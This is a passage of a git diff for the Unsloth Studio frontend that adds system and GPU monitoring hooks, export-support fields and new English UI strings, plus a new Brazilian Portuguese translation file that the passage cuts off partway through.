useState } from "react"; export interface GpuUtilization { available: boolean; backend: string | null; + devices?: GpuUtilization[]; + index?: number; + visible_ordinal?: number; gpu_utilization_pct: number | null; temperature_c: number | null; vram_used_gb: number | null; @@ -57,11 +60,10 @@ export function useGpuUtilization( const json = (await res.json()) as GpuUtilization; if (!cancelled) setData(json); } catch { - // Silently ignore — next poll will retry + // Retry on the next poll. } } - // Fetch immediately, then set up interval void poll(); timerRef.current = setInterval(() => void poll(), intervalMs); diff --git a/studio/frontend/src/hooks/use-hardware-info.ts b/studio/frontend/src/hooks/use-hardware-info.ts index 36e3c532f3..4d63d4d6af 100644 --- a/studio/frontend/src/hooks/use-hardware-info.ts +++ b/studio/frontend/src/hooks/use-hardware-info.ts @@ -25,6 +25,13 @@ export interface HardwareInfo { transformers: string | null; unsloth: string | null; llamaCpp: string | null; + // Whether export can run here (true only on a supported accelerator), with a torch-aware + // reason. `null` until the authoritative response lands, so callers don't briefly enable + // export; `loaded` flips true once a real (non-error) response arrives. + exportSupported: boolean | null; + exportUnsupportedReason: string | null; + exportUnsupportedMessage: string | null; + loaded: boolean; } const DEFAULT: HardwareInfo = { @@ -38,6 +45,10 @@ const DEFAULT: HardwareInfo = { transformers: null, unsloth: null, llamaCpp: null, + exportSupported: null, + exportUnsupportedReason: null, + exportUnsupportedMessage: null, + loaded: false, }; // Module-level cache so multiple components share one fetch. @@ -87,6 +98,10 @@ async function fetchOnce(): Promise { transformers: data?.versions?.transformers ?? null, unsloth: data?.versions?.unsloth ?? null, llamaCpp: data?.llama_cpp ?? null, + exportSupported: data?.export_supported ?? null, + exportUnsupportedReason: data?.export_unsupported_reason ?? null, + exportUnsupportedMessage: data?.export_unsupported_message ?? null, + loaded: true, }; if (generation === cacheGeneration) { cached = info; diff --git a/studio/frontend/src/hooks/use-system.ts b/studio/frontend/src/hooks/use-system.ts new file mode 100644 index 0000000000..a135cce86e --- /dev/null +++ b/studio/frontend/src/hooks/use-system.ts @@ -0,0 +1,130 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { authFetch } from "@/features/auth"; +import { useEffect, useState } from "react"; + +export interface GpuDevice { + index?: number; + index_kind?: string; + visible_ordinal?: number; + name?: string; + memory_total_gb?: number; + vram_used_gb?: number; + vram_free_gb?: number; + vram_utilization_pct?: number | null; +} + +export interface SystemInfoResponse { + platform: string; + python_version: string; + device_backend: "cuda" | "rocm" | "cpu" | "mlx" | "xpu"; + uptime_seconds: number | null; + cpu: { + logical_count: number; + physical_count: number; + usage_percent: number; + frequency_mhz: number | null; + }; + memory: { + total_gb: number; + available_gb: number; + percent_used: number; + process_used_mb: number; + }; + disk: { + total_gb: number; + free_gb: number; + percent_used: number; + }; + gpu: { + available: boolean; + backend?: string; + backend_cuda_visible_devices?: string | null; + parent_visible_gpu_ids?: number[]; + index_kind?: string; + devices: GpuDevice[]; + }; + ml_packages: { + torch?: string; + transformers?: string; + }; +} + +let cachedSystem: SystemInfoResponse | null = null; +let systemFetchPromise: Promise | null = null; + +const DEFAULT_SYSTEM: SystemInfoResponse = { + platform: "Unknown", + python_version: "Unknown", + device_backend: "cpu", + uptime_seconds: 0, + cpu: { logical_count: 0, physical_count: 0, usage_percent: 0, frequency_mhz: null }, + memory: { total_gb: 0, available_gb: 0, percent_used: 0, process_used_mb: 0 }, + disk: { total_gb: 0, free_gb: 0, percent_used: 0 }, + gpu: { available: false, devices: [] }, + ml_packages: {} +}; + +async function fetchSystemOnce({ + force = false, +}: { force?: boolean } = {}): Promise { + if (systemFetchPromise) return systemFetchPromise; + if (!force && cachedSystem) return cachedSystem; + + systemFetchPromise = (async () => { + try { + const res = await authFetch("/api/system"); + if (!res.ok) throw new Error(`HTTP ${res.status}`); + const data = await res.json(); + + cachedSystem = data as SystemInfoResponse; + return cachedSystem; + } catch { + cachedSystem = null; + return DEFAULT_SYSTEM; + } finally { + systemFetchPromise = null; + } + })(); + + return systemFetchPromise; +} + +interface UseSystemInfoOptions { + pollMs?: number; + enabled?: boolean; +} + +export function useSystemInfo({ + pollMs, + enabled = true, +}: UseSystemInfoOptions = {}): SystemInfoResponse { + const [systemInfo, setSystemInfo] = useState(cachedSystem ?? DEFAULT_SYSTEM); + + useEffect(() => { + if (!enabled) return; + + let cancelled = false; + let timeoutId: number | null = null; + + const update = (force: boolean) => { + void fetchSystemOnce({ force }) + .then((info) => { + if (!cancelled) setSystemInfo(info); + }) + .finally(() => { + if (cancelled || !pollMs) return; + timeoutId = window.setTimeout(() => update(true), pollMs); + }); + }; + + update(Boolean(pollMs)); + return () => { + cancelled = true; + if (timeoutId !== null) window.clearTimeout(timeoutId); + }; + }, [enabled, pollMs]); + + return systemInfo; +} diff --git a/studio/frontend/src/i18n/AGENTS.md b/studio/frontend/src/i18n/AGENTS.md index 42d964acca..35c025cd0b 100644 --- a/studio/frontend/src/i18n/AGENTS.md +++ b/studio/frontend/src/i18n/AGENTS.md @@ -2,10 +2,11 @@ - `locales/en.ts` is the complete baseline message file. - Non-English locale files may be partial. Missing keys must fall back to English at runtime. -- Use BCP 47 locale tags for new languages, for example `zh-CN`, `ja-JP`, and `ko-KR`. +- Use BCP 47 locale tags for new languages, for example `zh-CN`, `pt-BR`, `ja-JP`, and `ko-KR`. - Do not change fallback logic to hide missing translations. - Do not add automatic DOM translation, MutationObserver text replacement, or runtime guess-based translation. - Preserve interpolation variables exactly, for example `{count}`, `{model}`, and `{provider}`. - Keep product and technical names unchanged unless there is an established localized name, for example `Unsloth Studio`, `LoRA`, `GGUF`, and `Hugging Face`. - Keep translation changes small and reviewable. Prefer separate commits for runtime changes, UI migration, and locale text. - When adding user-facing Studio UI text, add the English message key first and add non-English overrides only when the translation is clear. +- Run `npx tsx src/i18n/check-parity.ts` before committing to ensure there are no shape mismatches or placeholder discrepancies in the non-English overlays. \ No newline at end of file diff --git a/studio/frontend/src/i18n/check-parity.ts b/studio/frontend/src/i18n/check-parity.ts index 8c027f9ce3..e2b66f5cdc 100644 --- a/studio/frontend/src/i18n/check-parity.ts +++ b/studio/frontend/src/i18n/check-parity.ts @@ -3,13 +3,14 @@ // Parity check between en.ts and every non-English locale. // - Locale files may be partial; missing keys must fall back to English. -// - All zh-CN keys must exist in en (no extras). +// - All non-English keys must exist in en (no extras). // - Placeholder set must match per leaf between en and the overlay. // // Run: npx tsx src/i18n/check-parity.ts import { en } from "./locales/en.ts"; import { zhCN } from "./locales/zh-CN.ts"; +import { ptBR } from "./locales/pt-br.ts"; import { ja } from "./locales/ja.ts"; type Tree = { readonly [k: string]: string | Tree }; @@ -90,6 +91,7 @@ function checkExtras( const overlays: Record = { "zh-CN": zhCN as unknown as Tree, + "pt-BR": ptBR as unknown as Tree, "ja": ja as unknown as Tree, }; let anyError = false; @@ -112,4 +114,4 @@ for (const [locale, overlay] of Object.entries(overlays)) { } if (anyError) process.exit(1); -console.log("\nAll locale overlays pass parity."); +console.log("\nAll locale overlays pass parity."); \ No newline at end of file diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts index f3c9eef44e..3d73ad4343 100644 --- a/studio/frontend/src/i18n/locales/en.ts +++ b/studio/frontend/src/i18n/locales/en.ts @@ -92,6 +92,7 @@ export const en = { general: "General", profile: "Profile", appearance: "Appearance", + resources: "System", chat: "Chat", connections: "Connections", apiKeys: "API", @@ -142,6 +143,22 @@ export const en = { loadError: "Failed to load Helper LLM settings.", saveError: "Failed to save Helper LLM settings.", }, + modelAutoSwitch: { + sectionTitle: "Model auto-switch (OpenAI API)", + enable: "Switch model by request", + enableDescription: + "When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.", + idleUnload: "Idle auto-unload", + idleUnloadDescription: + "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.", + idleNeedsEnable: + "Turn on Switch model by request so an unloaded model reloads on next use.", + idleActiveViaEnv: + "Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.", + loadError: "Failed to load model auto-switch settings.", + saveError: "Failed to save model auto-switch settings.", + idleError: "Enter a whole number of seconds (0 or more).", + }, previewSharing: { sectionTitle: "Preview sharing", enableLabel: "Public preview links", @@ -177,6 +194,20 @@ export const en = { maxUploadSize: "Training dataset upload cap", maxUploadSizeDescription: "Default is {defaultSize} MB.", }, + rag: { + sectionTitle: "Documents & RAG", + embeddingModel: "Embedding model", + embeddingModelDescription: + "Hugging Face model or local path used to index and search your documents. Default is {defaultModel}.", + reindexWarning: + "Only affects newly indexed documents. Re-upload existing ones after changing the model.", + emptyError: "Enter a Hugging Face model id or local path.", + loadError: "Failed to load the embedding model setting.", + saveError: "Failed to save the embedding model.", + saved: "Embedding model saved.", + saveAnyway: "Save anyway", + resetAction: "Reset to default", + }, storage: { sectionTitle: "Storage", modelsFolder: "Models folder", @@ -245,6 +276,58 @@ export const en = { "Keep the sidebar expanded instead of collapsing to icons.", }, }, + resources: { + title: "System", + description: "Monitor this Studio server's hardware and storage.", + liveUpdates: "Live updates", + floatingWindow: "Floating window", + disableOverlay: "Disable overlay", + liveMonitor: { + title: "Live monitor", + cpu: "CPU", + ram: "RAM", + disk: "Disk", + vram: "VRAM", + cpuCores: "{logical} logical / {physical} physical cores", + currentLoad: "Current load", + free: "{value} free", + noGpu: "No visible GPU", + }, + gpu: { + title: "GPU devices", + noGpu: "No visible GPU detected. CPU-only resources are shown above.", + unknownDevice: "Unknown GPU", + deviceWithIndex: "GPU {index}", + vramUtilization: "VRAM", + used: "{value} used", + free: "{value} free", + total: "{value} total", + }, + storage: { + title: "Storage", + systemDisk: "System disk", + diskUsage: "{used} used / {total}", + diskFree: "{free} free", + modelsFolder: "Models folder", + modelsFolderDescription: "Where downloaded models are stored.", + openAction: "Open", + copyAction: "Copy path", + copied: "Path copied", + openError: "Couldn't open the folder", + copyError: "Couldn't copy the path", + }, + environment: { + title: "Environment", + backend: "Backend", + python: "Python", + torch: "Torch", + transformers: "Transformers", + uptime: "Uptime", + processMemory: "Process memory", + notInstalled: "Not installed", + unknown: "Unknown", + }, + }, chat: { title: "Chat", description: "Manage chat history stored on this device.", @@ -343,8 +426,10 @@ export const en = { usageTools: "Tools", exampleCurlTools: "curl + tools", examplePythonTools: "Python + tools", + exampleJavaScriptTools: "JavaScript + tools", exampleCurlAdvanced: "curl + advanced", examplePythonAdvanced: "Python + advanced", + exampleJavaScriptAdvanced: "JavaScript + advanced", osUnix: "Linux / macOS / WSL", osWindows: "Windows", secureHttps: "Secure HTTPS", @@ -355,6 +440,10 @@ export const en = { copy: "Copy", copied: "Copied", setupDocs: "Setup docs:", + codingAgents: "Coding agents", + codingAgentsHint: + "Launch a coding agent against this server. It uses the loaded model; a local server mints an API key automatically, a remote one includes it in the command.", + codingAgentsSwap: "Swap claude for codex, openclaw, opencode, hermes, or pi.", relativeNever: "never", relativeJustNow: "just now", relativeHoursAgo: "{count}h ago", diff --git a/studio/frontend/src/i18n/locales/pt-br.ts b/studio/frontend/src/i18n/locales/pt-br.ts new file mode 100644 index 0000000000..c261e4ed0c --- /dev/null +++ b/studio/frontend/src/i18n/locales/pt-br.ts @@ -0,0 +1,934 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +export const ptBR = { + common: { + cancel: "Cancelar", + close: "Fechar", + delete: "Excluir", + done: "Concluído", + error: "Erro", + export: "Exportar", + help: "Ajuda", + loading: "Carregando...", + new: "Novo", + rename: "Renomear", + save: "Salvar", + saving: "Salvando...", + search: "Buscar", + shutdown: "Desligar", + }, + shell: { + beta: "BETA", + brand: "unsloth", + product: "Unsloth Studio", + accountMenu: "Menu de conta {name}", + updateAvailable: "Atualização disponível", + aria: { + home: "Início do Unsloth", + closeSidebar: "Fechar barra lateral", + openSidebar: "Abrir barra lateral", + chatOptions: "Opções de chat", + runOptions: "Opções de execução", + }, + navigation: { + newChat: "Novo Chat", + returnToChat: "Retornar ao Chat", + compare: "Comparar", + search: "Buscar", + hub: "Hub", + train: "Treinar", + recipes: "Receitas", + export: "Exportar", + recents: "Recentes", + settings: "Configurações", + api: "API", + lightMode: "Modo Claro", + darkMode: "Modo Escuro", + guidedTour: "Tour Guiado", + help: "Ajuda", + logOut: "Sair", + shutdown: "Desligar", + }, + notFound: { + title: "Página não encontrada", + description: "{path} não existe.", + backToChat: "Voltar para o chat", + }, + dialog: { + deleteChat: { + title: "Excluir chat", + description: 'Tem certeza de que deseja excluir este chat "{name}"?', + }, + deleteRun: { + title: "Excluir execução de treino", + description: 'Tem certeza de que deseja excluir esta execução "{name}"?', + }, + renameChat: { + title: "Renomear chat", + placeholder: "Título do chat", + }, + renameRun: { + title: "Renomear execução", + placeholder: "Nome da execução", + }, + }, + toast: { + cannotDeleteRunningRun: "Não é possível excluir uma execução de treino em andamento", + failedToDeleteChat: "Falha ao excluir o chat", + failedToDeleteRun: "Falha ao excluir a execução", + failedToRenameChat: "Falha ao renomear o chat", + failedToRenameRun: "Falha ao renomear a execução", + }, + }, + settings: { + title: "Configurações", + dialog: { + title: "Configurações", + description: "Gerencie suas preferências do Unsloth.", + closeAriaLabel: "Fechar configurações", + }, + tabs: { + general: "Geral", + profile: "Perfil", + appearance: "Aparência", + resources: "Sistema", + chat: "Chat", + connections: "Conexões", + apiKeys: "API", + about: "Sobre", + }, + general: { + title: "Geral", + description: "Preferências globais do Unsloth.", + account: "Conta", + huggingFaceToken: "Token do Hugging Face", + huggingFaceTokenDescription: + "Usado para carregar modelos restritos e enviar artefatos.", + tokenSaved: "Token salvo", + hideToken: "Ocultar token", + showToken: "Mostrar token", + password: "Senha", + passwordDescription: "Altere a senha desta conta do Studio.", + passwordDialog: { + trigger: "Alterar senha", + title: "Alterar senha", + description: + "Insira sua senha atual e escolha uma nova (no mínimo {minLength} caracteres).", + currentPassword: "Senha atual", + newPassword: "Nova senha", + confirmPassword: "Confirmar nova senha", + currentTooShort: + "A senha atual deve ter no mínimo {minLength} caracteres.", + newTooShort: "A nova senha deve ter no mínimo {minLength} caracteres.", + mismatch: "As senhas não coincidem.", + samePassword: + "A nova senha deve ser diferente da senha atual.", + update: "Atualizar senha", + updating: "Atualizando...", + updated: "Senha atualizada.", + updateFailed: "Falha ao atualizar a senha.", + }, + chatDefaults: "Padrões do chat", + autoTitleNewChats: "Gerar título automático para novos chats", + autoTitleNewChatsDescription: + "Gera um título curto a partir da primeira mensagem.", + helperLlm: { + sectionTitle: "LLM Auxiliar", + preloadOnStartup: "Pré-carregar LLM Auxiliar na inicialização", + preloadOnStartupDescription: + "Baixa o modelo auxiliar do Assistente de IA em segundo plano ao iniciar. Desativado por padrão; o Assistente de IA ainda pode buscá-lo sob demanda.", + disabledByEnv: + "Desativado por UNSLOTH_HELPER_MODEL_DISABLE no ambiente de backend.", + loadError: "Falha ao carregar as configurações do LLM Auxiliar.", + saveError: "Falha ao salvar as configurações do LLM Auxiliar.", + }, + notifications: { + sectionTitle: "Notificações", + showLlamaUpdates: "Notificações de atualização do llama.cpp", + showLlamaUpdatesDescription: + "Notifica quando uma nova versão do llama.cpp estiver disponível. Desative se você apenas realiza treinos.", + }, + gettingStarted: "Primeiros passos", + startOnboarding: "Iniciar integração", + startOnboardingDescription: + "Reabre o assistente de configuração sem alterar sua conta.", + startOnboardingAction: "Iniciar integração", + uploads: { + sectionTitle: "Uploads", + maxUploadSize: "Limite de upload do dataset de treino", + maxUploadSizeDescription: + "O padrão é {defaultSize} MB.", + }, + storage: { + sectionTitle: "Armazenamento", + modelsFolder: "Pasta de modelos", + modelsFolderDescription: + "Onde os modelos baixados são armazenados.", + openAction: "Abrir", + copyAction: "Copiar caminho", + copied: "Caminho copiado", + openError: "Não foi possível abrir a pasta", + copyError: "Não foi possível copiar o caminho", + }, + resetPreferences: { + sectionTitle: "Zona de perigo", + label: "Redefinir todas as preferências locais", + description: + "Limpa apenas as preferências locais. Chats, acesso à API e configurações salvas no banco de dados são mantidos.", + action: "Redefinir preferências", + confirmTitle: "Redefinir todas as preferências locais?", + confirmDescription: + "Limpa as preferências locais e recarrega o Unsloth. Chats, acesso à API e configurações salvas no banco de dados são mantidos.", + confirmAction: "Redefinir e recarregar", + }, + }, + profile: { + title: "Perfil", + description: "Como seu perfil aparece no Unsloth.", + changePicture: "Alterar foto de perfil", + displayName: "Nome de exibição", + nickname: "Como o Unsloth deve chamar você?", + nicknamePlaceholder: "Apelido", + nicknameSaved: "Nome preferido salvo", + avatarShape: "Formato da foto de perfil", + avatarShapeCircle: "Círculo", + avatarShapeRounded: "Arredondado", + chooseSloth: "Ou escolha uma preguiça", + nameSaved: "Nome de perfil salvo", + namePersistErrorTitle: "Não foi possível persistir o nome de perfil", + namePersistErrorDescription: + "Nome atualizado para esta sessão, mas pode não persistir após recarregar.", + photoUpdated: "Foto de perfil atualizada", + photoPersistErrorTitle: "Não foi possível persistir a foto de perfil", + photoPersistErrorDescription: + "Foto atualizada para esta sessão, mas pode não persistir após recarregar.", + photoUpdateErrorTitle: "Não foi possível atualizar a foto de perfil", + imageUseError: "Não foi possível usar esta imagem.", + }, + appearance: { + title: "Aparência", + description: "Como o Unsloth Studio se parece neste dispositivo.", + theme: { + title: "Tema", + label: "Esquema de cores", + description: "Claro, escuro ou seguir o sistema.", + system: "Sistema", + light: "Claro", + dark: "Escuro", + }, + language: { + title: "Idioma", + label: "Idioma de exibição", + description: "O idioma utilizado pelo Unsloth.", + }, + layout: { + title: "Layout", + compactSidebar: "Fixar barra lateral por padrão", + compactSidebarDescription: + "Mantém a barra lateral expandida em vez de recolhê-la em ícones.", + }, + }, + resources: { + title: "Sistema", + description: "Monitore o hardware e o armazenamento deste servidor Studio.", + liveUpdates: "Atualizações ao vivo", + floatingWindow: "Janela flutuante", + disableOverlay: "Desativar sobreposição", + liveMonitor: { + title: "Monitor ao vivo", + cpu: "CPU", + ram: "RAM", + disk: "Disco", + vram: "VRAM", + cpuCores: "{logical} lógicos / {physical} físicos", + currentLoad: "Carga atual", + free: "{value} livres", + noGpu: "Nenhuma GPU visível", + }, + gpu: { + title: "Dispositivos GPU", + noGpu: "Nenhuma GPU visível detectada. Os recursos somente CPU aparecem acima.", + unknownDevice: "GPU desconhecida", + deviceWithIndex: "GPU {index}", + vramUtilization: "VRAM", + used: "{value} usados", + free: "{value} livres", + total: "{value} total", + }, + storage: { + title: "Armazenamento", + systemDisk: "Disco do sistema", + diskUsage: "{used} usados / {total}", + diskFree: "{free} livres", + modelsFolder: "Pasta de modelos", + modelsFolderDescription: "Onde os modelos baixados são armazenados.", + openAction: "Abrir", + copyAction: "Copiar caminho", + copied: "Caminho copiado", + openError: "Não foi possível abrir a pasta", + copyError: "Não foi possível copiar o caminho", + }, + environment: { + title: "Ambiente", + backend: "Backend", + python: "Python", + torch: "Torch", + transformers: "Transformers", + uptime: "Tempo ativo", + processMemory: "Memória do processo", + notInstalled: "Não instalado", + unknown: "Desconhecido", + }, + }, + chat: { + title: "Chat", + description: "Gerencie o histórico de chat armazenado neste dispositivo.", + modelDisclaimer: "Mostrar aviso do modelo", + modelDisclaimerDescription: + 'Mostra "LLMs podem cometer erros" abaixo da caixa de chat.', + artifacts: { + title: "Canvas", + collapseHtmlBlocks: "Recolher blocos HTML", + collapseHtmlBlocksDescription: + "O modo Canvas recolhe o HTML completo automaticamente. Ative isso para também recolher documentos HTML delimitados quando o Canvas estiver desativado.", + allowNetworkAccess: "Permitir acesso à rede no canvas", + allowNetworkAccessDescription: + "Permite que as pré-visualizações do canvas carreguem scripts, estilos, fontes, mídia e recursos de rede de CDNs. Mantenha desativado para pré-visualizações totalmente offline.", + }, + data: "Dados", + exportHistory: "Exportar histórico de chat", + exportHistoryDescription: + "Baixe todos os chats e mensagens em formato JSON.", + exportAction: "Exportar", + exportingAction: "Exportando...", + exportConversations: "Exportar Recentes e Projetos", + exportConversationsDescription: + "Baixe os Recentes ou Recentes mais chats de projetos como JSONL bruto, CSV ou ShareGPT JSONL, combinados ou por chat.", + exportConversationsAction: "Exportar", + exportScopeRecents: "Recentes", + exportScopeAll: "Recentes + Projetos", + exportCombinedSuffix: "(combinado)", + exportPerChatSuffix: "(por chat)", + importChats: "Importar chats", + importChatsDescription: + "Importe um arquivo exportado em JSONL, NDJSON ou CSV para os Recentes.", + importChatsAction: "Importar", + importNoConversations: "Nenhuma conversa encontrada no arquivo.", + importedOneChat: "Importada 1 conversa para os Recentes.", + importedChatCount: "Importadas {count} conversas para os Recentes.", + importFailed: "Falha na importação.", + clearHistory: "Limpar histórico de chat", + clearHistoryDescription: "Exclui o histórico de chat deste dispositivo.", + clearAction: "Limpar", + clearAllChats: "Limpar todos os chats", + clearAllChatsDescription: "Exclui permanentemente todos os chats deste dispositivo.", + noChatsToClear: "Nenhum chat para limpar.", + clearOneChatDescription: + "Exclui permanentemente o único chat deste dispositivo.", + clearChatCountDescription: + "Exclui permanentemente todos os {count} chats deste dispositivo.", + clearChatsAction: "Limpar chats", + clearOneChatTitle: "Limpar 1 chat?", + clearChatsTitle: "Limpar {count} chats?", + clearChatsConfirmDescription: + "Exclui permanentemente todos os chats deste dispositivo. Esta ação não pode ser desfeita.", + clearingAction: "Limpando...", + clearOneChatAction: "Limpar 1 chat", + clearChatCountAction: "Limpar {count} chats", + clearedAllChats: "Todos os chats foram limpos", + clearedOneChat: "1 chat foi limpo", + clearedChatCount: "{count} chats foram limpos", + someChatsCouldNotBeCleared: "Não foi possível limpar alguns chats", + chatsClearedRemainOne: + "{clearedCount} chats limpos; 1 chat restante. Por favor, tente novamente.", + chatsClearedRemain: + "{clearedCount} chats limpos; {remainingCount} chats restantes. Por favor, tente novamente.", + oneChatClearedRemain: + "1 chat limpo; {remainingCount} chats restantes. Por favor, tente novamente.", + oneChatClearedRemainOne: "1 chat limpo; 1 chat restante. Por favor, tente novamente.", + storageClearFailedOne: + "Falha ao limpar o armazenamento; 1 chat pode ter restado. Por favor, tente novamente.", + storageClearFailed: + "Falha ao limpar o armazenamento; {count} chats podem ter restado. Por favor, tente novamente.", + failedToClearChats: "Falha ao limpar os chats", + }, + connections: { + title: "Conexões", + description: "Gerencie provedores e conexões externas.", + }, + apiKeys: { + title: "API", + description: + "Acesse o Unsloth por meio da API compatível com OpenAI.", + readDocs: "Leia a documentação da API", + noAccess: "Nenhum acesso à API ainda.", + newBadge: "Novo", + accessTokens: "Tokens de acesso", + loadError: "Não foi possível carregar o acesso à API.", + createError: "Não foi possível criar o token de acesso.", + revokeError: "Não foi possível revogar o token de acesso.", + never: "Nunca", + tokenNamePlaceholder: "Nome do token (ex: producao)", + newAccessTokenName: "Nome do novo token de acesso", + createToken: "Criar token", + creating: "Criando...", + newTokenCreated: "Novo token de acesso criado", + accessTokenCopied: "Token de acesso copiado", + copyAccessToken: "Copiar token de acesso", + copyNow: "Copie agora - isto não será exibido novamente.", + usageExamples: "Exemplos de uso", + usageTools: "Ferramentas", + exampleCurlTools: "curl + ferramentas", + examplePythonTools: "Python + ferramentas", + exampleJavaScriptTools: "JavaScript + ferramentas", + exampleCurlAdvanced: "curl + avançado", + examplePythonAdvanced: "Python + avançado", + exampleJavaScriptAdvanced: "JavaScript + avançado", + osUnix: "Linux / macOS / WSL", + osWindows: "Windows", + secureHttps: "HTTPS Seguro", + secureHttpsHint: + "A porta 0.0.0.0 ainda está acessível globalmente. Para segurança total, inicie o Unsloth Studio com --secure para expor apenas este link HTTPS.", + copyTunnelUrl: "Copiar URL do túnel", + copySnippet: "Copiar trecho de código", + copy: "Copiar", + copied: "Copiado", + setupDocs: "Docs de configuração:", + relativeNever: "nunca", + relativeJustNow: "agora mesmo", + relativeHoursAgo: "há {count}h", + relativeDaysAgo: "há {count}d", + relativeMonthsAgo: "há {count} meses", + relativeYearsAgo: "há {count} anos", + expired: "expirado", + today: "hoje", + inDays: "em {count}d", + created: "Criado {value}", + used: "Usado {value}", + expires: "Expira {value}", + actionsFor: "Ações para {name}", + copyPrefix: "Copiar prefixo", + revokeToken: "Revogar token", + revokeTitle: 'Revogar token de acesso "{name}"?', + revokeDescription: + "Aplicativos que usam este token perderão o acesso imediatamente. Esta ação não pode ser desfeita.", + revokeAction: 'Revogar "{name}"', + revoking: "Revogando...", + }, + about: { + title: "Sobre", + description: + "Documentação, notas de lançamento, feedback e informações da build.", + studioVersion: "Versão do Unsloth", + packageVersion: "Versão do Pacote", + llamaCppVersion: "Versão do llama.cpp", + hardware: "Hardware", + gpu: "GPU", + cuda: "CUDA", + rocm: "ROCm", + updates: "Atualização", + help: "Ajuda", + documentation: "Documentação", + releaseNotes: "Notas de lançamento", + whatsNew: "O que há de novo", + feedback: "Feedback", + reportIssue: "Reportar um problema", + license: { + sectionTitle: "Licença", + studioLabel: "Unsloth Studio", + studioLicense: "AGPL-3.0", + studioDescription: + "Código aberto sob a licença GNU AGPL v3.0.", + libraryLabel: "Unsloth Core", + libraryLicense: "Apache-2.0", + libraryDescription: "Licenciado sob Apache 2.0.", + }, + dangerZone: "Zona de perigo", + shutDownStudio: "Desligar Unsloth Studio", + shutDownStudioDescription: + "Interrompe o servidor Unsloth e encerra sua sessão.", + shutDown: "Desligar", + update: { + title: "Atualizar Unsloth Studio", + commandText: "Texto de {label}", + copied: "Copiado", + copyCommand: "Copiar comando", + commandCopied: "{label} copiado", + copyNamedCommand: "Copiar {label}", + checkingInstall: "Verificando como o Unsloth foi instalado...", + installIntro: "Para instalar ou atualizar o Unsloth:", + localUpdateHeading: "Atualização local", + installCommandUnix: "Comando de instalação para macOS/Linux", + installCommandWindows: "Comando de instalação para Windows", + localInstallDetected: + "Instalação local detectada. Atualize a partir do seu repositório original para evitar substituí-lo pelo PyPI.", + pullThenUpdate: "Puxe as últimas alterações (git pull) e depois execute o instalador local:", + gitPullCommand: "comando git pull", + localInstallerCommand: "comando do instalador local", + sourceInstallDetected: + "Instalação do pacote por código-fonte ou VCS detectada. Reinstale a partir do caminho local original ou URL do Git.", + repoCheckoutFallback: + "Se você ainda tiver o repositório baixado, execute o instalador local a partir dele:", + restartAfterUpdate: "Reinicie o Unsloth após a atualização.", + desktopManaged: + "O aplicativo de desktop mantém seu backend integrado atualizado e avisará quando uma nova versão estiver disponível.", + unknownInstall: + "Não foi possível detectar como o Unsloth foi instalado. Para instalações via instalador ou PyPI, use os comandos acima.", + localCheckout: + "Para instalações de repositório local, execute o instalador local a partir desse diretório:", + docs: "Docs de instalação:", + docsInstall: "Instalação", + docsUpdating: "Atualização", + docsMac: "Mac", + docsWindows: "Windows", + }, + }, + }, + studio: { + routeTitle: "Treinar", + title: "Estúdio de Fine-tuning", + subtitles: { + configure: "Configure e inicie o treinamento", + trainingInProgress: "Treinamento em andamento", + viewPastRuns: "Visualizar execuções de treino anteriores", + viewingPastRun: "Visualizando execução anterior", + }, + tabs: { + configure: "Configurar", + currentRun: "Execução Atual", + history: "Histórico", + }, + loadingRuntime: "Carregando ambiente de execução de treino...", + backToHistory: "Voltar ao histórico", + sections: { + model: "Modelo", + dataset: "Dataset", + params: "Parâmetros", + training: "Treinamento", + charts: "Gráficos", + progress: "Progresso do Treinamento", + }, + configure: { + title: "Configurar", + description: "Escolha um modelo, dataset e configurações de treinamento.", + startTraining: "Iniciar Treinamento", + starting: "Iniciando...", + loadingModel: "Carregando modelo...", + checkingDataset: "Verificando dataset...", + trainingConfig: "Configuração de Treino", + }, + model: { + title: "Modelo", + description: "Selecione o modelo base e o método de treinamento", + fasterTrainingBadge: "Treinamento 2x Mais Rápido", + baseModel: "Modelo base", + localModel: "Modelo Local", + localModelTooltip: + "Caminho para um modelo baixado localmente ou um repositório HF customizado.", + scanningLocalAndCachedModels: "Escaneando modelos locais e em cache...", + scanning: "Escaneando...", + scanningLocalModels: "Escaneando modelos locais...", + noLocalModelsFound: "Nenhum modelo local encontrado", + noLocalModelsFoundManual: "Nenhum modelo local encontrado. Insira o caminho manualmente.", + failedToLoadLocalModels: "Falha ao carregar modelos locais", + hfCache: "Cache do HF", + customFolders: "Pastas Customizadas", + localDir: "Diretório local", + huggingFaceModel: "Modelo do Hugging Face", + huggingFaceModelTooltip: + "Busque modelos no Hugging Face ou escolha da nossa lista recomendada.", + searchModels: "Buscar modelos...", + searching: "Buscando...", + noModelsFound: "Nenhum modelo encontrado", + needsVram: "Precisa de ~{vram}GB de VRAM (GPU: {gpu}GB)", + tightVram: "~{vram}GB de VRAM (limite na {gpu}GB)", + vramEstimate: "~{vram}GB de VRAM", + method: "Método", + methodTooltip: + "O QLoRA usa quantização de 4 bits para menor uso de VRAM. O LoRA usa 16 bits. O Full atualiza todos os pesos. O CPT (Continued Pretraining) treina em texto bruto para adaptar o modelo a um novo domínio sem formatação de chat.", + readMore: "Leia mais", + fullFineTune: "Fine-tune Completo (Full)", + checkingToken: "Verificando token...", + getOrUpdateToken: "Obter ou atualizar token", + huggingFaceTokenOptional: "Token do Hugging Face (Opcional)", + continuedPretraining: "Pré-treinamento Contínuo (CPT)", + localModels: "Modelos locais", + localModelsFound: "{count} modelos locais/em cache encontrados", + loadingLocalModels: "Carregando modelos locais...", + }, + dataset: { + title: "Dataset", + description: "Selecione ou envie os dados de treinamento", + source: "Origem do dataset", + chooseDataset: "Escolher dataset", + chooseDatasetTooltip: + "Use as abas do pop-up para alternar entre o Hugging Face e as saídas de receitas locais.", + localTab: "Local", + searchHuggingFaceDatasets: "Buscar datasets no Hugging Face...", + searchLocalDatasets: "Buscar datasets locais...", + searching: "Buscando...", + noDatasetsFound: "Nenhum dataset encontrado", + loadingLocalDatasets: "Carregando datasets locais...", + failedToLoadLocalDatasets: "Falha ao 